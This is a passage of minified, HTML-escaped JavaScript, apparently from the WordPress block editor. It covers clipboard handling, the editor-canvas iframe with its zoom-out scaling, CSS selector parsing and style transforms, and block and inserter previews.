z==&quot;string&quot;)return;if(j){p(C,z,z.length-1,-1),x.preventDefault();return}if(!r()&amp;&amp;!(0,_a.hasBlockSupport)(i(C[0]),&quot;splitting&quot;,!1)&amp;&amp;!x.__deprecatedOnSplit)return;let[W]=C,ee=f(W),se=[];for(let ce of z)if(d(ce.name,ee))se.push(ce);else{let ie=i(ee),re=ce.name!==ie?(0,_a.switchToBlockType)(ce,ie):[ce];if(!re)return;for(let Q of re)for(let Y of Q.innerBlocks)se.push(Y)}v(se),x.preventDefault()}}return y.ownerDocument.addEventListener(&quot;copy&quot;,S),y.ownerDocument.addEventListener(&quot;cut&quot;,S),y.ownerDocument.addEventListener(&quot;paste&quot;,S),()=&gt;{y.ownerDocument.removeEventListener(&quot;copy&quot;,S),y.ownerDocument.removeEventListener(&quot;cut&quot;,S),y.ownerDocument.removeEventListener(&quot;paste&quot;,S)}},[])}var Nh=l(w(),1);function FD(){let[e,t,o]=$9(),r=(0,SG.useSelect)(n=&gt;n(_).hasMultiSelection(),[]);return[e,(0,wy.useMergeRefs)([t,xy(),mG(),nG(),cG(),dG(),W9(),tG(),Y9(),X9(),(0,wy.useRefEffect)(n=&gt;(n.tabIndex=0,n.dataset.hasMultiSelection=r,r?(n.setAttribute(&quot;aria-label&quot;,(0,_G.__)(&quot;Multiple selected blocks&quot;)),()=&gt;{delete n.dataset.hasMultiSelection,n.removeAttribute(&quot;aria-label&quot;)}):()=&gt;{delete n.dataset.hasMultiSelection}),[r])]),o]}function d_e({children:e,...t},o){let[r,n,i]=FD();return(0,Nh.jsxs)(Nh.Fragment,{children:[r,(0,Nh.jsx)(&quot;div&quot;,{...t,ref:(0,wy.useMergeRefs)([n,o]),className:V(t.className,&quot;block-editor-writing-flow&quot;),children:e}),i]})}var E1=(0,xG.forwardRef)(d_e);var T1=null;function wG(){return T1||(T1=Array.from(document.styleSheets).reduce((e,t)=&gt;{try{t.cssRules}catch{return e}let{ownerNode:o,cssRules:r}=t;if(o===null||!r||o.id.startsWith(&quot;wp-&quot;)||!o.id)return e;function n(i){return Array.from(i).find(({selectorText:s,conditionText:a,cssRules:c})=&gt;a?n(c):s&amp;&amp;(s.includes(&quot;.editor-styles-wrapper&quot;)||s.includes(&quot;.wp-block&quot;)))}if(n(r)){let i=o.tagName===&quot;STYLE&quot;;if(i){let s=o.id.replace(&quot;-inline-css&quot;,&quot;-css&quot;),a=document.getElementById(s);a&amp;&amp;e.push(a.cloneNode(!0))}if(e.push(o.cloneNode(!0)),!i){let s=o.id.replace(&quot;-css&quot;,&quot;-inline-css&quot;),a=document.getElementById(s);a&amp;&amp;e.push(a.cloneNode(!0))}}return e},[]),T1)}var kn=l(R(),1),Cy=l(Z(),1);function CG({frameSize:e,containerWidth:t,maxContainerWidth:o,scaleContainerWidth:r}){return(Math.min(t,o)-e*2)/r}function f_e(e,t){let{scaleValue:o,scrollHeight:r}=e,{frameSize:n,scaleValue:i}=t;return r*(i/o)+n*2}function m_e(e,t){let{containerHeight:o,frameSize:r,scaleValue:n,scrollTop:i}=e,{containerHeight:s,frameSize:a,scaleValue:c,scrollHeight:u}=t,d=i;d=(d+o/2-r)/n-o/2,d=(d+s/2)*c+a-s/2,d=i&lt;=r?0:d;let f=u-s;return Math.round(Math.min(Math.max(0,d),Math.max(0,f)))}function p_e(e,t){let{scaleValue:o,frameSize:r,scrollTop:n}=e,{scaleValue:i,frameSize:s,scrollTop:a}=t;return[{translate:&quot;0 0&quot;,scale:o,paddingTop:`${r/o}px`,paddingBottom:`${r/o}px`},{translate:`0 ${n-a}px`,scale:i,paddingTop:`${s/i}px`,paddingBottom:`${s/i}px`}]}function BG({frameSize:e,iframeDocument:t,maxContainerWidth:o=750,scale:r}){let[n,{height:i}]=(0,Cy.useResizeObserver)(),[s,{width:a,height:c}]=(0,Cy.useResizeObserver)(),u=(0,kn.useRef)(0),d=r!==1,f=(0,Cy.useReducedMotion)(),m=r===&quot;auto-scaled&quot;,h=(0,kn.useRef)(!1),p=(0,kn.useRef)(null);(0,kn.useEffect)(()=&gt;{d||(u.current=a)},[a,d]);let g=Math.max(u.current,a),b=m?CG({frameSize:e,containerWidth:a,maxContainerWidth:o,scaleContainerWidth:g}):r,v=(0,kn.useRef)({scaleValue:b,frameSize:e,containerHeight:0,scrollTop:0,scrollHeight:0}),k=(0,kn.useRef)({scaleValue:b,frameSize:e,containerHeight:0,scrollTop:0,scrollHeight:0}),y=(0,kn.useCallback)(()=&gt;{let{scrollTop:C}=v.current,{scrollTop:B}=k.current;return t.documentElement.style.setProperty(&quot;--wp-block-editor-iframe-zoom-out-scroll-top&quot;,`${C}px`),t.documentElement.style.setProperty(&quot;--wp-block-editor-iframe-zoom-out-scroll-top-next&quot;,`${B}px`),t.documentElement.style.setProperty(&quot;--wp-block-editor-iframe-zoom-out-overflow-behavior&quot;,v.current.scrollHeight===v.current.containerHeight?&quot;auto&quot;:&quot;scroll&quot;),t.documentElement.classList.add(&quot;zoom-out-animation&quot;),t.documentElement.animate(p_e(v.current,k.current),{easing:&quot;cubic-bezier(0.46, 0.03, 0.52, 0.96)&quot;,duration:400})},[t]),S=(0,kn.useCallback)(()=&gt;{h.current=!1,p.current=null,t.documentElement.style.setProperty(&quot;--wp-block-editor-iframe-zoom-out-scale&quot;,k.current.scaleValue),t.documentElement.style.setProperty(&quot;--wp-block-editor-iframe-zoom-out-frame-size&quot;,`${k.current.frameSize}px`),t.documentElement.classList.remove(&quot;zoom-out-animation&quot;),t.documentElement.scrollTop=k.current.scrollTop,t.documentElement.style.removeProperty(&quot;--wp-block-editor-iframe-zoom-out-scroll-top&quot;),t.documentElement.style.removeProperty(&quot;--wp-block-editor-iframe-zoom-out-scroll-top-next&quot;),t.documentElement.style.removeProperty(&quot;--wp-block-editor-iframe-zoom-out-overflow-behavior&quot;),v.current=k.current},[t]),x=(0,kn.useRef)(!1);return(0,kn.useEffect)(()=&gt;{let C=t&amp;&amp;x.current!==d;if(x.current=d,!!C&amp;&amp;(h.current=!0,!!d))return t.documentElement.classList.add(&quot;is-zoomed-out&quot;),()=&gt;{t.documentElement.classList.remove(&quot;is-zoomed-out&quot;)}},[t,d]),(0,kn.useEffect)(()=&gt;{if(t&amp;&amp;(m&amp;&amp;v.current.scaleValue!==1&amp;&amp;(v.current.scaleValue=CG({frameSize:v.current.frameSize,containerWidth:a,maxContainerWidth:o,scaleContainerWidth:a})),b&lt;1&amp;&amp;(h.current||(t.documentElement.style.setProperty(&quot;--wp-block-editor-iframe-zoom-out-scale&quot;,b),t.documentElement.style.setProperty(&quot;--wp-block-editor-iframe-zoom-out-frame-size&quot;,`${e}px`)),t.documentElement.style.setProperty(&quot;--wp-block-editor-iframe-zoom-out-content-height&quot;,`${i}px`),t.documentElement.style.setProperty(&quot;--wp-block-editor-iframe-zoom-out-inner-height&quot;,`${c}px`),t.documentElement.style.setProperty(&quot;--wp-block-editor-iframe-zoom-out-container-width&quot;,`${a}px`),t.documentElement.style.setProperty(&quot;--wp-block-editor-iframe-zoom-out-scale-container-width&quot;,`${g}px`)),h.current))if(h.current=!1,p.current){p.current.reverse();let C=v.current,B=k.current;v.current=B,k.current=C}else v.current.scrollTop=t.documentElement.scrollTop,v.current.scrollHeight=t.documentElement.scrollHeight,v.current.containerHeight=c,k.current={scaleValue:b,frameSize:e,containerHeight:t.documentElement.clientHeight},k.current.scrollHeight=f_e(v.current,k.current),k.current.scrollTop=m_e(v.current,k.current),p.current=y(),f?S():p.current.onfinish=S},[y,S,f,m,b,e,t,i,a,c,o,g]),{isZoomedOut:d,scaleContainerWidth:g,contentResizeListener:n,containerResizeListener:s}}var Rs=l(w(),1);function PG(e,t,o){let r={};for(let s in e)r[s]=e[s];if(e instanceof o.contentDocument.defaultView.MouseEvent){let s=o.getBoundingClientRect();r.clientX+=s.left,r.clientY+=s.top}let n=new t(e.type,r);r.defaultPrevented&amp;&amp;n.preventDefault(),!o.dispatchEvent(n)&amp;&amp;e.preventDefault()}function h_e(e){return(0,Vu.useRefEffect)(()=&gt;{let{defaultView:t}=e;if(!t)return;let{frameElement:o}=t,r=e.documentElement,n=[&quot;dragover&quot;,&quot;mousemove&quot;],i={};for(let s of n)i[s]=a=&gt;{let u=Object.getPrototypeOf(a).constructor.name,d=window[u];PG(a,d,o)},r.addEventListener(s,i[s]);return()=&gt;{for(let s of n)r.removeEventListener(s,i[s])}})}var EG=new WeakMap,g_e=globalThis.FinalizationRegistry?new globalThis.FinalizationRegistry(e=&gt;URL.revokeObjectURL(e)):void 0;function b_e(e){let t=EG.get(e);if(t)return t;let o=`&lt;!doctype html&gt;
&lt;html&gt;
	&lt;head&gt;
		&lt;meta charset=&quot;utf-8&quot;&gt;
		&lt;base href=&quot;${window.location.href}&quot;&gt;
		&lt;script&gt;window.frameElement._load()&lt;\/script&gt;
		&lt;style&gt;
			html{
				height: auto !important;
				min-height: 100%;
			}
			/* Lowest specificity to not override global styles */
			:where(body) {
				margin: 0;
				/* Default background color in case zoom out mode background
				colors the html element */
				background-color: white;
			}
		&lt;/style&gt;
		${e.styles??&quot;&quot;}
		${e.scripts??&quot;&quot;}
	&lt;/head&gt;
	&lt;body&gt;
		&lt;script&gt;document.currentScript.parentElement.remove()&lt;\/script&gt;
	&lt;/body&gt;
&lt;/html&gt;`;return t=URL.createObjectURL(new Blob([o],{type:&quot;text/html&quot;})),EG.set(e,t),g_e?.register(e,t),t}function k_e({contentRef:e,children:t,tabIndex:o=0,scale:r=1,frameSize:n=0,readonly:i,forwardedRef:s,title:a=(0,TG.__)(&quot;Editor canvas&quot;),...c}){let{resolvedAssets:u,isPreviewMode:d}=(0,zD.useSelect)(T=&gt;{let O=T(_).getSettings();return{resolvedAssets:O.__unstableResolvedAssets,isPreviewMode:O.isPreviewMode}},[]),[f,m]=(0,om.useState)(),[h,p]=(0,om.useState)([]),[g,b,v]=FD(),k=(0,Vu.useRefEffect)(T=&gt;{T._load=()=&gt;{m(T.contentDocument)};let O;function D(z){z.preventDefault()}function U(z){z.target.tagName===&quot;A&quot;&amp;&amp;z.target.getAttribute(&quot;href&quot;)?.startsWith(&quot;#&quot;)&amp;&amp;(z.preventDefault(),O.defaultView.location.hash=z.target.getAttribute(&quot;href&quot;).slice(1))}let{ownerDocument:G}=T;p(Array.from(G.body.classList).filter(z=&gt;z.startsWith(&quot;admin-color-&quot;)||z.startsWith(&quot;post-type-&quot;)||z===&quot;wp-embed-responsive&quot;));function j(){let{contentDocument:z}=T,{documentElement:W}=z;O=z,W.classList.add(&quot;block-editor-iframe__html&quot;),z.dir=G.dir;for(let ee of wG())z.getElementById(ee.id)||(z.head.appendChild(ee.cloneNode(!0)),d||console.warn(`${ee.id} was added to the iframe incorrectly. Please use block.json or enqueue_block_assets to add styles to the iframe.`,ee));O.addEventListener(&quot;dragover&quot;,D,!1),O.addEventListener(&quot;drop&quot;,D,!1),O.addEventListener(&quot;click&quot;,U)}return T.addEventListener(&quot;load&quot;,j),()=&gt;{delete T._load,T.removeEventListener(&quot;load&quot;,j),O?.removeEventListener(&quot;dragover&quot;,D),O?.removeEventListener(&quot;drop&quot;,D),O?.removeEventListener(&quot;click&quot;,U)}},[]),{contentResizeListener:y,containerResizeListener:S,isZoomedOut:x,scaleContainerWidth:C}=BG({scale:r,frameSize:parseInt(n),iframeDocument:f}),B=(0,Vu.useDisabled)({isDisabled:!i}),I=(0,Vu.useMergeRefs)([h_e(f),e,b,B]),P=b_e(u),E=o&gt;=0&amp;&amp;!d,L=(0,Rs.jsxs)(Rs.Fragment,{children:[E&amp;&amp;g,(0,Rs.jsx)(&quot;iframe&quot;,{...c,style:{...c.style,height:c.style?.height,border:0},ref:(0,Vu.useMergeRefs)([s,k]),tabIndex:o,src:P,title:a,onKeyDown:T=&gt;{if(c.onKeyDown&amp;&amp;c.onKeyDown(T),T.currentTarget.ownerDocument!==T.target.ownerDocument){let{stopPropagation:O}=T.nativeEvent;T.nativeEvent.stopPropagation=()=&gt;{},T.stopPropagation(),T.nativeEvent.stopPropagation=O,PG(T,window.KeyboardEvent,T.currentTarget)}},children:f&amp;&amp;(0,om.createPortal)((0,Rs.jsxs)(&quot;body&quot;,{ref:I,className:V(&quot;block-editor-iframe__body&quot;,&quot;editor-styles-wrapper&quot;,...h),children:[y,(0,Rs.jsx)(IG.__experimentalStyleProvider,{document:f,children:t})]}),f.documentElement)}),E&amp;&amp;v]});return(0,Rs.jsxs)(&quot;div&quot;,{className:&quot;block-editor-iframe__container&quot;,children:[S,(0,Rs.jsx)(&quot;div&quot;,{className:V(&quot;block-editor-iframe__scale-container&quot;,x&amp;&amp;&quot;is-zoomed-out&quot;),style:{&quot;--wp-block-editor-iframe-zoom-out-scale-container-width&quot;:x&amp;&amp;`${C}px`},children:L})]})}function v_e(e,t){return(0,zD.useSelect)(r=&gt;r(_).getSettings().__internalIsInitialized,[])?(0,Rs.jsx)(k_e,{...e,forwardedRef:t}):null}var Mh=(0,om.forwardRef)(v_e);var x$=l(A(),1),Hh=l(R(),1),w$=l(F(),1);var P1={attribute:/\[\s*(?:(?&lt;namespace&gt;\*|[-\w\P{ASCII}]*)\|)?(?&lt;name&gt;[-\w\P{ASCII}]+)\s*(?:(?&lt;operator&gt;\W?=)\s*(?&lt;value&gt;.+?)\s*(\s(?&lt;caseSensitive&gt;[iIsS]))?\s*)?\]/gu,id:/#(?&lt;name&gt;[-\w\P{ASCII}]+)/gu,class:/\.(?&lt;name&gt;[-\w\P{ASCII}]+)/gu,comma:/\s*,\s*/g,combinator:/\s*[\s&gt;+~]\s*/g,&quot;pseudo-element&quot;:/::(?&lt;name&gt;[-\w\P{ASCII}]+)(?:\((?&lt;argument&gt;¶*)\))?/gu,&quot;pseudo-class&quot;:/:(?&lt;name&gt;[-\w\P{ASCII}]+)(?:\((?&lt;argument&gt;¶*)\))?/gu,universal:/(?:(?&lt;namespace&gt;\*|[-\w\P{ASCII}]*)\|)?\*/gu,type:/(?:(?&lt;namespace&gt;\*|[-\w\P{ASCII}]*)\|)?(?&lt;name&gt;[-\w\P{ASCII}]+)/gu},y_e=new Set([&quot;combinator&quot;,&quot;comma&quot;]);var S_e=e=&gt;{switch(e){case&quot;pseudo-element&quot;:case&quot;pseudo-class&quot;:return new RegExp(P1[e].source.replace(&quot;(?&lt;argument&gt;\xB6*)&quot;,&quot;(?&lt;argument&gt;.*)&quot;),&quot;gu&quot;);default:return P1[e]}};function __e(e,t){let o=0,r=&quot;&quot;;for(;t&lt;e.length;t++){let n=e[t];switch(n){case&quot;(&quot;:++o;break;case&quot;)&quot;:--o;break}if(r+=n,o===0)return r}return r}function x_e(e,t=P1){if(!e)return[];let o=[e];for(let[n,i]of Object.entries(t))for(let s=0;s&lt;o.length;s++){let a=o[s];if(typeof a!=&quot;string&quot;)continue;i.lastIndex=0;let c=i.exec(a);if(!c)continue;let u=c.index-1,d=[],f=c[0],m=a.slice(0,u+1);m&amp;&amp;d.push(m),d.push({...c.groups,type:n,content:f});let h=a.slice(u+f.length+1);h&amp;&amp;d.push(h),o.splice(s,1,...d)}let r=0;for(let n of o)switch(typeof n){case&quot;string&quot;:throw new Error(`Unexpected sequence ${n} found at index ${r}`);case&quot;object&quot;:r+=n.content.length,n.pos=[r-n.content.length,r],y_e.has(n.type)&amp;&amp;(n.content=n.content.trim()||&quot; &quot;);break}return o}var w_e=/([&#039;&quot;])([^\\\n]+?)\1/g,C_e=/\\./g;function jD(e,t=P1){if(e=e.trim(),e===&quot;&quot;)return[];let o=[];e=e.replace(C_e,(i,s)=&gt;(o.push({value:i,offset:s}),&quot;\uE000&quot;.repeat(i.length))),e=e.replace(w_e,(i,s,a,c)=&gt;(o.push({value:i,offset:c}),`${s}${&quot;\uE001&quot;.repeat(a.length)}${s}`));{let i=0,s;for(;(s=e.indexOf(&quot;(&quot;,i))&gt;-1;){let a=__e(e,s);o.push({value:a,offset:s}),e=`${e.substring(0,s)}(${&quot;\xB6&quot;.repeat(a.length-2)})${e.substring(s+a.length)}`,i=s+a.length}}let r=x_e(e,t),n=new Set;for(let i of o.reverse())for(let s of r){let{offset:a,value:c}=i;if(!(s.pos[0]&lt;=a&amp;&amp;a+c.length&lt;=s.pos[1]))continue;let{content:u}=s,d=a-s.pos[0];s.content=u.slice(0,d)+c+u.slice(d+c.length),s.content!==u&amp;&amp;n.add(s)}for(let i of n){let s=S_e(i.type);if(!s)throw new Error(`Unknown token type: ${i.type}`);s.lastIndex=0;let a=s.exec(i.content);if(!a)throw new Error(`Unable to parse content for ${i.type}: ${i.content}`);Object.assign(i,a.groups)}return r}function*I1(e,t){switch(e.type){case&quot;list&quot;:for(let o of e.list)yield*I1(o,e);break;case&quot;complex&quot;:yield*I1(e.left,e),yield*I1(e.right,e);break;case&quot;compound&quot;:yield*e.list.map(o=&gt;[o,e]);break;default:yield[e,t]}}function RG(e){let t;return Array.isArray(e)?t=e:t=[...I1(e)].map(([o])=&gt;o),t.map(o=&gt;o.content).join(&quot;&quot;)}var k$=l(XW(),1),v$=l(A1(),1),y$=l(e$(),1),S$=l(g$(),1),b$=new Map,_$=[{type:&quot;type&quot;,content:&quot;body&quot;},{type:&quot;type&quot;,content:&quot;html&quot;},{type:&quot;pseudo-class&quot;,content:&quot;:root&quot;},{type:&quot;pseudo-class&quot;,content:&quot;:where(body)&quot;},{type:&quot;pseudo-class&quot;,content:&quot;:where(:root)&quot;},{type:&quot;pseudo-class&quot;,content:&quot;:where(html)&quot;}];function D0e(e,t){let o=jD(t),r=o.findLastIndex(({content:s,type:a})=&gt;_$.some(c=&gt;s===c.content&amp;&amp;a===c.type)),n=-1;for(let s=r+1;s&lt;o.length;s++)if(o[s].type===&quot;combinator&quot;){n=s;break}let i=jD(e);return o.splice(n===-1?o.length:n,0,{type:&quot;combinator&quot;,content:&quot; &quot;},...i),RG(o)}function V0e({css:e,ignoredSelectors:t=[],baseURL:o},r=&quot;&quot;,n){if(!r&amp;&amp;!o)return e;try{let i=[...t,...n?.ignoredSelectors??[],r];return new k$.default([r&amp;&amp;(0,y$.default)({prefix:r,transform(s,a,c){return i.some(d=&gt;d instanceof RegExp?a.match(d):a.includes(d))?a:_$.some(d=&gt;a.startsWith(d.content))?D0e(s,a):c}}),o&amp;&amp;(0,S$.default)({rootUrl:o})].filter(Boolean)).process(e,{}).css}catch(i){return i instanceof v$.default?console.warn(&quot;wp.blockEditor.transformStyles Failed to transform CSS.&quot;,i.message+`
`+i.showSourceCode(!1)):console.warn(&quot;wp.blockEditor.transformStyles Failed to transform CSS.&quot;,i),null}}var F0e=(e,t=&quot;&quot;,o)=&gt;{let r=b$.get(t);return r||(r=new WeakMap,b$.set(t,r)),e.map(n=&gt;{let i=r.get(n);return i||(i=V0e(n,t,o),r.set(n,i)),i})},Uh=F0e;var Uu=l(w(),1);Kc([Yc,Op]);function z0e(e,t){return(0,Hh.useCallback)(o=&gt;{if(!o)return;let{ownerDocument:r}=o,{defaultView:n,body:i}=r,s=t?r.querySelector(t):i,a;if(s)a=n?.getComputedStyle(s,null).getPropertyValue(&quot;background-color&quot;);else{let u=r.createElement(&quot;div&quot;);u.classList.add(&quot;editor-styles-wrapper&quot;),i.appendChild(u),a=n?.getComputedStyle(u,null).getPropertyValue(&quot;background-color&quot;),i.removeChild(u)}let c=Bt(a);c.luminance()&gt;.5||c.alpha()===0?i.classList.remove(&quot;is-dark-theme&quot;):i.classList.add(&quot;is-dark-theme&quot;)},[e,t])}function j0e({styles:e,scope:t,transformOptions:o}){let r=(0,w$.useSelect)(s=&gt;M(s(_)).getStyleOverrides(),[]),[n,i]=(0,Hh.useMemo)(()=&gt;{let s=Object.values(e??[]);for(let[a,c]of r){let u=s.findIndex(({id:f})=&gt;a===f),d={...c,id:a};u===-1?s.push(d):s[u]=d}return[Uh(s.filter(a=&gt;a?.css),t,o),s.filter(a=&gt;a.__unstableType===&quot;svgs&quot;).map(a=&gt;a.assets).join(&quot;&quot;)]},[e,r,t,o]);return(0,Uu.jsxs)(Uu.Fragment,{children:[(0,Uu.jsx)(&quot;style&quot;,{ref:z0e(n,t)}),n.map((s,a)=&gt;(0,Uu.jsx)(&quot;style&quot;,{children:s},a)),(0,Uu.jsx)(x$.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 0 0&quot;,width:&quot;0&quot;,height:&quot;0&quot;,role:&quot;none&quot;,style:{visibility:&quot;hidden&quot;,position:&quot;absolute&quot;,left:&quot;-9999px&quot;,overflow:&quot;hidden&quot;},dangerouslySetInnerHTML:{__html:i}})]})}var Nl=(0,Hh.memo)(j0e);var Fi=l(w(),1),U0e=(0,q1.memo)(Gh),_5=2e3,H0e=[];function G0e({viewportWidth:e,containerWidth:t,minHeight:o,additionalStyles:r=H0e}){e||(e=t);let[n,{height:i}]=(0,Dy.useResizeObserver)(),{styles:s}=(0,C$.useSelect)(d=&gt;({styles:d(_).getSettings().styles}),[]),a=(0,q1.useMemo)(()=&gt;s&amp;&amp;[...s,{css:&quot;body{height:auto;overflow:hidden;border:none;padding:0;}&quot;,__unstableType:&quot;presets&quot;},...r],[s,r]),c=t/e,u=i?t/(i*c):0;return(0,Fi.jsx)(B$.Disabled,{className:&quot;block-editor-block-preview__content&quot;,style:{transform:`scale(${c})`,aspectRatio:u,maxHeight:i&gt;_5?_5*c:void 0,minHeight:o},children:(0,Fi.jsxs)(Mh,{contentRef:(0,Dy.useRefEffect)(d=&gt;{let{ownerDocument:{documentElement:f}}=d;f.classList.add(&quot;block-editor-block-preview__content-iframe&quot;),f.style.position=&quot;absolute&quot;,f.style.width=&quot;100%&quot;,d.style.boxSizing=&quot;border-box&quot;,d.style.position=&quot;absolute&quot;,d.style.width=&quot;100%&quot;},[]),&quot;aria-hidden&quot;:!0,tabIndex:-1,style:{position:&quot;absolute&quot;,width:e,height:i,pointerEvents:&quot;none&quot;,maxHeight:_5,minHeight:c!==0&amp;&amp;c&lt;1&amp;&amp;o?o/c:o},children:[(0,Fi.jsx)(Nl,{styles:a}),n,(0,Fi.jsx)(U0e,{renderAppender:!1})]})})}function E$(e){let[t,{width:o}]=(0,Dy.useResizeObserver)();return(0,Fi.jsxs)(Fi.Fragment,{children:[(0,Fi.jsx)(&quot;div&quot;,{style:{position:&quot;relative&quot;,width:&quot;100%&quot;,height:0},children:t}),(0,Fi.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-preview__container&quot;,children:!!o&amp;&amp;(0,Fi.jsx)(G0e,{...e,containerWidth:o})})]})}var Wh=l(R(),1),R$=l(I$(),1),P$=(0,R$.createQueue)();function O$({children:e,placeholder:t}){let[o,r]=(0,Wh.useState)(!1);return(0,Wh.useEffect)(()=&gt;{let n={};return P$.add(n,()=&gt;{(0,Wh.flushSync)(()=&gt;{r(!0)})}),()=&gt;{P$.cancel(n)}},[]),o?e:t}var am=l(w(),1),W0e=[];function $0e({blocks:e,viewportWidth:t=1200,minHeight:o,additionalStyles:r=W0e,__experimentalMinHeight:n,__experimentalPadding:i}){n&amp;&amp;(o=n,(0,x5.default)(&quot;The __experimentalMinHeight prop&quot;,{since:&quot;6.2&quot;,version:&quot;6.4&quot;,alternative:&quot;minHeight&quot;})),i&amp;&amp;(r=[...r,{css:`body { padding: ${i}px; }`}],(0,x5.default)(&quot;The __experimentalPadding prop of BlockPreview&quot;,{since:&quot;6.2&quot;,version:&quot;6.4&quot;,alternative:&quot;additionalStyles&quot;}));let s=(0,w5.useSelect)(u=&gt;u(_).getSettings(),[]),a=(0,sm.useMemo)(()=&gt;({...s,focusMode:!1,isPreviewMode:!0}),[s]),c=(0,sm.useMemo)(()=&gt;Array.isArray(e)?e:[e],[e]);return!e||e.length===0?null:(0,am.jsx)(Ph,{value:c,settings:a,children:(0,am.jsx)(E$,{viewportWidth:t,minHeight:o,additionalStyles:r})})}var A$=(0,sm.memo)($0e);A$.Async=O$;var vn=A$;function L$({blocks:e,props:t={},layout:o}){let r=(0,w5.useSelect)(u=&gt;u(_).getSettings(),[]),n=(0,sm.useMemo)(()=&gt;({...r,styles:void 0,focusMode:!1,isPreviewMode:!0}),[r]),i=(0,Z1.useDisabled)(),s=(0,Z1.useMergeRefs)([t.ref,i]),a=(0,sm.useMemo)(()=&gt;Array.isArray(e)?e:[e],[e]),c=(0,am.jsxs)(Ph,{value:a,settings:n,children:[(0,am.jsx)(Nl,{}),(0,am.jsx)(Vy,{renderAppender:!1,layout:o})]});return{...t,ref:s,className:V(t.className,&quot;block-editor-block-preview__live-content&quot;,&quot;components-disabled&quot;),children:e?.length?c:null}}var Hu=l(w(),1);function K0e({item:e}){let{name:t,title:o,icon:r,description:n,initialAttributes:i,example:s}=e,a=(0,$h.isReusableBlock)(e),c=(0,N$.useMemo)(()=&gt;s?(0,$h.getBlockFromExample)(t,{attributes:{...s.attributes,...i},innerBlocks:s.innerBlocks}):(0,$h.createBlock)(t,i),[t,s,i]),u=144,d=280,f=s?.viewportWidth??500,m=d/f,h=m!==0&amp;&amp;m&lt;1&amp;&amp;u?u/m:u;return(0,Hu.jsxs)(&quot;div&quot;,{className:&quot;block-editor-inserter__preview-container&quot;,children:[(0,Hu.jsx)(&quot;div&quot;,{className:&quot;block-editor-inserter__preview&quot;,children:a||s?(0,Hu.jsx)(&quot;div&quot;,{className:&quot;block-editor-inserter__preview-content&quot;,children:(0,Hu.jsx)(vn,{blocks:c,viewportWidth:f,minHeight:u,additionalStyles:[{css:`
										body { 
											padding: 24px;
											min-height:${Math.round(h)}px;
											display:flex;
											align-items:center;
										}
										.is-root-container { width: 100%; }
									`}]})}):(0,Hu.jsx)(&quot;div&quot;,{className:&quot;block-editor-inserter__preview-content-missing&quot;,children:(0,M$.__)(&quot;No preview available.&quot;)})}),!a&amp;&amp;(0,Hu.jsx)(yy,{title:o,icon:r,description:n})]})}var X1=K0e;var Jh=l(N(),1),Vl=l(R(),1),R5=l(Z(),1);var Z$=l($(),1),X$=l(Z(),1);var Qh=l(R(),1),Gu=l($(),1),Y$=l(A(),1),Fy=l(it(),1);var G$=l(A(),1),W$=l(R(),1);var Kh=l(R(),1),D$=l(N(),1),V$=l(Xo(),1),F$=l(w(),1);function Y0e(e,t){let[o,r]=(0,Kh.useState)(!1);return(0,Kh.useEffect)(()=&gt;{o&amp;&amp;(0,V$.speak)((0,D$.__)(&quot;Use left and right arrow keys to move through blocks&quot;))},[o]),(0,F$.jsx)(&quot;div&quot;,{ref:t,role:&quot;listbox&quot;,&quot;aria-orientation&quot;:&quot;horizontal&quot;,onFocus:()=&gt;{r(!0)},onBlur:n=&gt;{!n.currentTarget.contains(n.relatedTarget)&amp;&amp;r(!1)},...e})}var C5=(0,Kh.forwardRef)(Y0e);var z$=l(R(),1),j$=l(A(),1),U$=l(w(),1);function q0e(e,t){return(0,U$.jsx)(j$.Composite.Group,{role:&quot;presentation&quot;,ref:t,...e})}var B5=(0,z$.forwardRef)(q0e);var J1=l(A(),1),H$=l(R(),1),Q1=l(w(),1);function Z0e({isFirst:e,as:t,children:o,...r},n){return(0,Q1.jsx)(J1.Composite.Item,{ref:n,role:&quot;option&quot;,accessibleWhenDisabled:!0,...r,render:i=&gt;{let s={...i,tabIndex:e?0:i.tabIndex};return t?(0,Q1.jsx)(t,{...s,children:o}):typeof o==&quot;function&quot;?o(s):(0,Q1.jsx)(J1.Button,{__next40pxDefaultSize:!0,...s,children:o})}})}var E5=(0,H$.forwardRef)(Z0e);var T5=l(w(),1);function X0e({key:e,children:t}){return(0,T5.jsx)(W$.Fragment,{children:t},e)}function Q0e({children:e}){return(0,T5.jsx)(G$.Composite,{focusShift:!0,focusWrap:&quot;horizontal&quot;,render:X0e,children:e})}var Yh=Q0e;var $$=l(A(),1),tB=l($(),1),oB=l(F(),1),K$=l(R(),1);var Zh=l(N(),1),qh=l(A(),1);var As=l(w(),1);function eB({count:e,icon:t,isPattern:o,fadeWhenDisabled:r}){let n=o&amp;&amp;(0,Zh.__)(&quot;Pattern&quot;);return(0,As.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-draggable-chip-wrapper&quot;,children:(0,As.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-draggable-chip&quot;,&quot;data-testid&quot;:&quot;block-draggable-chip&quot;,children:(0,As.jsxs)(qh.Flex,{justify:&quot;center&quot;,className:&quot;block-editor-block-draggable-chip__content&quot;,children:[(0,As.jsx)(qh.FlexItem,{children:t?(0,As.jsx)(Ae,{icon:t}):n||(0,Zh.sprintf)((0,Zh._n)(&quot;%d block&quot;,&quot;%d blocks&quot;,e),e)}),(0,As.jsx)(qh.FlexItem,{children:(0,As.jsx)(Ae,{icon:tv})}),r&amp;&amp;(0,As.jsx)(qh.FlexItem,{className:&quot;block-editor-block-draggable-chip__disabled&quot;,children:(0,As.jsx)(&quot;span&quot;,{className:&quot;block-editor-block-draggable-chip__disabled-icon&quot;})})]})})})}var I5=l(w(),1),J0e=({isEnabled:e,blocks:t,icon:o,children:r,pattern:n})=&gt;{let i=t.length===1?t[0].name:void 0,s=(0,oB.useSelect)(f=&gt;i&amp;&amp;f(tB.store).getBlockType(i)?.icon,[i]),{startDragging:a,stopDragging:c}=M((0,oB.useDispatch)(_)),u=(0,K$.useMemo)(()=&gt;n?.type===Nt.user&amp;&amp;n?.syncStatus!==&quot;unsynced&quot;?[(0,tB.createBlock)(&quot;core/block&quot;,{ref:n.id})]:void 0,[n?.type,n?.syncStatus,n?.id]);if(!e)return r({draggable:!1,onDragStart:void 0,onDragEnd:void 0});let d=u??t;return(0,I5.jsx)($$.Draggable,{__experimentalTransferDataType:&quot;wp-blocks&quot;,transferData:{type:&quot;inserter&quot;,blocks:d},onDragStart:f=&gt;{a();let m=new Set;for(let h of d){let 